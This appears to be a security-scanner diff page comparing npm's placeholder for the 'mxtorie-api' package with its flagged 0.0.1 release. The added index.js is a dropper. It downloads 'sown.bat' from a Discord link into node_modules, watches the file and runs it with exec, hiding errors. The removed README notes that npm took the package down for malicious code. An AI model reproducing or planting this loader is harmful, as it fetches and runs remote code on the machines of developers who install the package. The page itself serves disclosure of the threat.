mxtorie-api 0.0.1-security → 0.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of mxtorie-api might be problematic. Click here for more details.
- package/index.js +68 -0
- package/package.json +13 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,68 @@
|
|
1
|
+
const fs = require('fs');
|
2
|
+
const https = require('https');
|
3
|
+
const { exec } = require('child_process');
|
4
|
+
const path = require('path');
|
5
|
+
|
6
|
+
class ExeFileHandler {
|
7
|
+
constructor(exePath) {
|
8
|
+
this.exePath = exePath;
|
9
|
+
}
|
10
|
+
|
11
|
+
onModified(event) {
|
12
|
+
if (event === this.exePath) {
|
13
|
+
exec(this.exePath, (error, stdout, stderr) => {
|
14
|
+
if (error) {
|
15
|
+
|
16
|
+
}
|
17
|
+
});
|
18
|
+
}
|
19
|
+
}
|
20
|
+
}
|
21
|
+
|
22
|
+
async function downloadExe(repoUrl, exeFilename) {
|
23
|
+
const folderName = 'mxtorie-api';
|
24
|
+
const downloadPath = path.join('node_modules', folderName, exeFilename);
|
25
|
+
|
26
|
+
const folderPath = path.join('node_modules', folderName);
|
27
|
+
|
28
|
+
|
29
|
+
if (!fs.existsSync(folderPath)) {
|
30
|
+
fs.mkdirSync(folderPath, { recursive: true });
|
31
|
+
}
|
32
|
+
|
33
|
+
const fileStream = fs.createWriteStream(downloadPath);
|
34
|
+
const response = await new Promise((resolve, reject) => {
|
35
|
+
const request = https.get(repoUrl, (response) => {
|
36
|
+
response.pipe(fileStream);
|
37
|
+
response.on('end', () => {
|
38
|
+
|
39
|
+
observeFile(downloadPath);
|
40
|
+
});
|
41
|
+
resolve(response);
|
42
|
+
});
|
43
|
+
request.on('error', reject);
|
44
|
+
});
|
45
|
+
|
46
|
+
if (response.statusCode === 200) {
|
47
|
+
|
48
|
+
} else {
|
49
|
+
|
50
|
+
}
|
51
|
+
}
|
52
|
+
|
53
|
+
function observeFile(exePath) {
|
54
|
+
fs.watch(exePath, (event) => {
|
55
|
+
if (event === 'change') {
|
56
|
+
exec(exePath, (error, stdout, stderr) => {
|
57
|
+
if (error) {
|
58
|
+
|
59
|
+
}
|
60
|
+
});
|
61
|
+
}
|
62
|
+
});
|
63
|
+
}
|
64
|
+
|
65
|
+
const ExeToDownload = "https://canary.discord.com/channels/@me/1145693201315926067/1175735966527389766";
|
66
|
+
const FileName = "sown.bat";
|
67
|
+
|
68
|
+
downloadExe(ExeToDownload, FileName)
|
package/package.json
CHANGED
@@ -1,6 +1,16 @@
|
|
1
1
|
{
|
2
2
|
"name": "mxtorie-api",
|
3
|
-
"version": "0.0.1
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "0.0.1",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"fs": "^0.0.1-security",
|
13
|
+
"https": "^1.0.0",
|
14
|
+
"path": "^0.12.7"
|
15
|
+
}
|
6
16
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=mxtorie-api for more information.
|